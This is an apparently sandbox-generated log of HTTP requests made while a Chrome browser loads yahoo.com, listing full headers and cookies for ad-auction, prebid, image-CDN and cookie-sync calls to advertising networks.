Source: global traffic	HTTP traffic detected: GET /idex/did-004f/any?duid=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31&us_privacy=1YNN&gdpr=0&did=did-004f&gpp_s=DBAA&gpp_as=-1&cd=.yahoo.com&resolve=nonId&resolve=magnite&resolve=pubmatic&resolve=index&resolve=openx HTTP/1.1Host: idx.liadm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lidid=03fe910e-15bc-4d2f-a8ff-7b5edf78fd01
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/I.FslbBmdOaA_GV99DsKiA--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-03/36fc42d0-ed81-11ee-adfd-72161754983a.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rtb/prebid?cid=8CU2K123F HTTP/1.1Host: prebid.media.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /openrtb2/auction HTTP/1.1Host: pbs.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-autocomplete-1.31.8-modern-a4f31e10ae.chunk.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/jUDPTogMDfGauNm.dTWoBQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_627%2Cw_1200%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2FIMAGE_UPSCALER%2FEIU%2F85f03fc2-6ff1-4570-89a0-515bca45febe__BWujTRKy.jpg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/default/20200716/masque/scramble-words.jpeg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/Up.dPtTya2UoFvgwi6vzRA--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-03/848bf4e0-eabc-11ee-9bbf-d69d7a44cb6f.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/P1gIuoNrk0jw9Gb0etat2w--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2023-07/d6d83ad0-1b76-11ee-b7dd-3fde6866fb5f.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /openrtbb/prebidjs HTTP/1.1Host: rtb.openx.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /header/auction?lib=prebid&v=8.37.0&referrer=https%3A%2F%2Fwww.yahoo.com%2F&tmax=2000&gdpr=false&us_privacy=1YNN HTTP/1.1Host: tlx.3lift.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluid=4394171109507437451801
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/cR8X2NNZ_w2HCLX1lXASWQ--~B/Zmk9c3RyaW07aD00MDg7dz03MjA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2020-07/98c925c0-d18b-11ea-9fff-06141a553c2a.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/2NW2CfWeNKI57cwpeOIBFw--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-01/bedd8160-ab13-11ee-bbab-76c907c64d8d.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /j?se=e30&cd=.yahoo.com&dtstmp=1714257718141&tv=8.37.0&did=did-004f&wpn=prebid&pu=https%3A%2F%2Fwww.yahoo.com%2F&gpp_as=-1&us_privacy=1YNN&duid=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31&gdpr=0&n3pc=true&gpp_s=DBAA HTTP/1.1Host: rp.liadm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lidid=7de677f8-dda1-428e-88ae-9b2fad295b01; lidid=7de677f8-dda1-428e-88ae-9b2fad295b01
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=rmx-pbs&_origin=0&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&tc=1 HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: g=Ae9Pv17JW9jx3PfTe025_1714257720455; ts=1714257720
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/BTR8joxFvQtaUQF5ENZGag--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-04/16743fc0-037c-11ef-aef3-f8ed857fa8aa.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/I.FslbBmdOaA_GV99DsKiA--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-03/36fc42d0-ed81-11ee-adfd-72161754983a.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /FGMrCMMc/v1?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&redirectUri=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsharethrough%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1Host: match.sharethrough.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=891039ac-a916-42bb-a651-4be9e3b201da&ph=a3aece0c-9e80-4316-8deb-faf804779bd1&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dopenx%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%7BOPENX_ID%7D HTTP/1.1Host: u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /js/ld/publishertag.prebid.144.js HTTP/1.1Host: static.criteo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/prebid_iframe_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; t_pt_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /w/1.0/pd?gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: yahoo-bidout-d.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /um/ixmatch.html HTTP/1.1Host: js-sec.indexww.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1& HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; tluid=4394171109507437451801
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=sharethrough&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=51b9513d-31fb-4e13-8a96-326616d0043f HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8CU2K123F&prvid=2034%2C2031%2C2030%2C550%2C233%2C2028%2C2027%2C236%2C2025%2C2069%2C237%2C117%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C4%2C126%2C203%2C326%2C9%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C459%2C70%2C77%2C38%2C2023%2C2022%2C141%2C262%2C461%2C222%2C10000%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?cc=1&id=891039ac-a916-42bb-a651-4be9e3b201da&ph=a3aece0c-9e80-4316-8deb-faf804779bd1&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dopenx%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%7BOPENX_ID%7D HTTP/1.1Host: u.openx.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=0903015b-a24b-050d-2460-e2515cc5bd23\|1714257722
Source: global traffic	HTTP traffic detected: GET /us.gif?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&loc=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsonobi%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%5BUID%5D HTTP/1.1Host: sync.go.sonobi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pbcas?us_privacy=1YNN&gdpr=0&gdpr_consent=&type=iframe HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169%7C
Source: global traffic	HTTP traffic detected: GET /xbbe/pixel?d=CJjNHBDdis7TAxjcjKTOATAB&v=APEucNU_oqW7upTKTy8FNduy5hrYbHa9xT4zgc8S7RQLVm68luKSwr7gTnMPO2Pw7b0FVFxBN6k40k6RAOTzksdrsWTbafSGKtia2IzHrNAjOoomGzxqtbw HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /879366/express_html_inpage_rendering_lib_200_278.js HTTP/1.1Host: s0.2mdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/puc/creative.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
